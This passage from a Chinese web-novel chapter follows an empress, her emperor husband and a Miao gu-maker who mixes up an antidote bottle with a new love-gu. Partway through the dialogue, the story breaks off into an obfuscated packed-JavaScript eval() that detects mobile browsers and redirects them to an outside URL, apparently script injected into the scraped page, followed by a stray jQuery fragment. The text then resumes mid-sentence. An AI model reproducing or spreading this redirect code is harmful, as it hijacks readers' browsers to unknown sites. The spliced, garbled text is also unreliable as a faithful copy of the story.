“可是我以后的时光是和你一起的啊。”姜以婳心口的一块地莫名地就塌了下来,她轻轻亲了口宋止的侧脸。
“现在不误会了?”她继续问道。
宋止知道她这番话有诸多不合理的地方,但这又有何妨,只要她愿意哄他。
他低声道:“嗯。”
“那你是不是该把沈瑜给调回来了?人好歹也是个状元。”
宋止抱紧她,埋下脸,用鼻尖蹭了蹭她的脖颈,没说话。
月色透过纱窗,在他的身上滞留。
姜以婳眉心轻蹩,把他给推开了。她坐直身子,一本正经道:“宋止,说话。”
心里本来就窝着一股火,她能把事情都告诉宋止,那为何宋止做事就要处处瞒着她?她不需要他以爱为名的隐瞒,她需要的是并肩作战、同进同退。
现在更是被狠狠浇了把油,不至于把火喷出来,但火焰烧得更旺盛了,让人烦躁极了。
宋止看过沈瑜的眼神,分明是对姜以婳有意思。他低落的声音响起:“会调回来的,只是现在不是时候,他对边州熟悉,我需要他帮我干些事。他正好拿到政绩后回来也能升官。”
“你都没有夸过我优秀。”他故意示弱,声音变得皱皱巴巴。
姜以婳一愣,这是在委屈吗?
她低头亲了一口宋止,叹道:“你要是不优秀,我怎么会和你在一起?我又不是扶贫的。”
宋止唇角又上翘了一分,果然,姜以婳吃软不吃硬。他想继续讨却被姜以婳封住了嘴。
“别得寸进尺。我的解释完了。你是不是该解释解释你的?”
“我的?”
“你为什么一直都要……”
“陛下,娘娘,太医来了。”宫女敲门报道。
姜以婳喉咙里的一口气哽住,不上不下。她想要继续说,可看着宋止泛起青色的胡渣……
“娘娘?”宫女又敲了一遍门。
宋止道:“让他们先等着,你先说。”
他很在乎姜以婳刚刚想要说的事情。
姜以婳摇摇头,有宋止这个态度便不急于这一时了。现在天时地利人和都没有的。
“进来吧。”她扬声道。
吴太医端着药箱小跑进来,行礼道:“参加陛下,参加娘娘。”
望闻问切,吴太医整个检查过程都很严肃,姜以婳的心都被提起来了。
“身体上没什么大碍,只是有些亏虚。这段时间每天扎几针,再配合上御膳房的药膳便可补回来。”吴太医道。
姜以婳老实躺平,给吴太医扎针。
事情一个接着的一个的来,苏忠敏又急急忙忙地赶来了,像是有什么重要的事等宋止处理。
宋止面色苍白,眼底青黑,在黑暗的背景下活脱脱像个厉鬼。怎么看也不像是能继续熬夜处理政事的模样。
姜以婳皱眉,心生不悦,却被吴太医面无表情地看了一眼。
“娘娘,别动,针会扎偏。”
语气淡淡的,却莫名有种威慑力。可能每个学生看到了老师都会有种老鼠见猫的感觉,最起码姜以婳是这样的。
她老实地松开面部皮肤,揪住宋止的衣袖,示意宋止看她。
手臂比出“哒咩”——不要。
手圈紧,放在脑袋旁,又做了个丢出去的姿势——忘记。
手掌重叠放在脸旁边,眼睛就闭起来了——睡觉。
吴太医在一旁继续扎针,只要姜以婳不动她脸,怎么样都无所谓。只是她在比什么玩意?
默默收到眼神的姜以婳眨了眨眼,好像自己确实比得乱七八糟。
“不要忘记睡觉?”宋止低声问道。
芜湖,最最最聪明的小猫。
眼里的笑意绽开,姜以婳竖起了自己的大拇指。
——
之后的日子里宋止一直忙到飞,睡的比狗晚,起的比鸡早。姜以婳也就不好意思去找他,在国家大事面前个人情感理所应该地退让。
这一日,巴图派人传信:情蛊的解药研制好了。
那一刹那,姜以婳整个人都头晕目眩,像是从悬崖上跳下去。
说不出来什么感觉,又兴奋又恍惚。小脸蹦得紧紧的。
她就带着这幅表情到了巴图的蛊房。
巴图放下撸蛊虫的手,看了过去。一时半会也摸不着头脑,这到底是想解除还是不想解除啊?这对夫妻怎么都奇奇怪怪的。
呆在这边时间长了,巴图也逐渐融入,不再像以往一样身上带满银饰。只有耳上还挂着银坠子。
动起来也不再吵人,像是从珍珠鸟变成了树莺。
但看起来还是一如既往地勾人,流连花丛的风流少爷(晒黑版)。
“还算宋止信守承诺,把我妹妹找到了。否则这个解药也不可能这么快研制出来。”巴图道。
姜以婳站在门口,背对着光,在屋内投射出一片阴影:“你妹妹?”
“嗯哼,她之前被宋临渊抓去了,现在正在养伤,你身上的情蛊就是她研发的。”
提到情蛊,巴图话语间还有些骄傲。
“那是挺厉害的了。”姜以婳由衷赞叹,能自主创新,研发出这么狠的情蛊,技术想必是非常好的。
“看看,怎么样不错吧?”巴图坐在桌子上,下巴骄傲地扬起,往她怀里扔了个青绿色瓷瓶。
瓷瓶里传来窸窸窣窣的声音,像是虫子爬?
姜以婳浑身的鸡皮疙瘩都起来了,“你是准备以毒攻毒?”
“啊?”巴图脸色难得一见的迷茫起来,随后又立刻气急跳墙:“我的传家草药都投进去才练出这两颗药,什么叫以毒攻毒!”
“药丸?”姜以婳皱眉,把瓷瓶放在耳边仔细听了下,是虫子爬行的声音没错。
她问道:“你是不是拿错了?”
巴图白了她一眼,“我哪有这本事买这瓶子,怕不是我大半个身家都要搭进去了。你丈夫就给了我两个,一个装解药一个装……”
他的声音越来越小。
说到后面他顿了顿,从怀里掏了掏,颤颤巍巍地拿出一个几乎一模一样、只有在瓶口有着细微差距的瓷瓶,放在耳边听了听。
艹,真的拿错了。
面色瞬间变得五彩斑斓起来,像是吃了毒蘑菇。
他讪笑着从桌上跳下来,把手里的瓷瓶塞进姜以婳手里,想要把她手里的瓷瓶给拿回来。
姜以婳猛地往后一躲,眼睛眯了眯,“这瓶是干什么的?宋止要的?”
“他有那么多仇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453737|162221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敌,让我练个蛊不很正常吗?”巴图打哈哈道,脸色恢复正常。
姜以婳否认,慢条斯理地说出自己的怀疑:“不对。这肯定和我有关系,否则你不会这么紧张。而且他也不会把这个练蛊的事情在这个时候派给你,他现在又没有什么很灼手的敌人,怎么会因为那些人耽误情蛊解药的炼制?”
“我紧张吗?”巴图伸出自己的手腕,“你不信把个脉看看。”
苗疆人身上自然会带点蛊,只要姜以婳的手一搭上来,他就能让蛊虫压慢心跳。
结果姜以婳莫名其妙地瞥了一眼过来:“我为什么要靠把脉?”
手指着他红彤彤的耳尖“你都红了。”
空气陷入一片凝滞。
巴图不可置信地摸了摸自己的耳尖,烫得吓人。他在心里默默哀嚎。
为什么要让他一个不会撒谎的人撒谎。
他只是看着不老实而已,金玉其内,败絮其外。
蛊屋堆满了些瓶瓶罐罐的,下脚都需要斟酌。
姜以婳扫视了一圈,小心翼翼地坐到了工作台前的椅子上,给自己倒了杯茶水。
“能喝吗?我不会又是你的试验水吧?”
巴图无语:“只是水而已,喝不死。”
姜以婳耸耸肩,眉毛轻挑:“说吧。”
“说什么?”巴图继续装糊涂,左看看右看看上看看下看看,就是不跟姜以婳直视。
姜以婳耐心道:“这个瓷瓶里的蛊虫是干什么的?”
见巴图不回答,她也不闲着,开始翻起巴图的工作记录。手边放着巴图正在研究的蛊虫堆。
威胁道:“你要是过来,我就把他们全摔了。”
气得巴图直跺脚,脸都涨起来。
可怎么也杠不过姜以婳,两人就这样直视着对抗。最终巴图放弃了,他摆摆手。
罢了罢了,看吧看吧。
看了之后就去砸宋止,别砸我们可怜的小虫了。
姜以婳放心地低头,认真看起来了。
三月初十:
想回苗疆,宋扒皮居然又派任务了。叹气,你们夫妻俩的情趣就不要带着我们好吗?
不过周扒皮对自己是真狠啊,心头血说取就取了。
三月十一:
解药失败。
蛊虫失败。
三月十二:
解药失败。
蛊虫失败。
……
四月初八:
解药失败。
蛊虫半成功。
……
五月十七:
哈哈哈哈,蛊虫终于成了。
解药依旧失败,但好像找到了些苗头。
……
五月二十五:
见到妹妹了,她躺在床上,气色看着还行。而且她夸我的情蛊是她见过最厉害的情蛊,没有之一!
五月三十:
解药研制成功。
姜以婳的脸色瞬间冷了下来,淡淡道:“这里是情蛊?”
巴图叹气道:“是。”
“宋止让你做的?”
“要你下在我和他身上的?”
姜以婳接连问道,声音平淡,却莫名让人觉得危机感十足,准备时刻抗刀。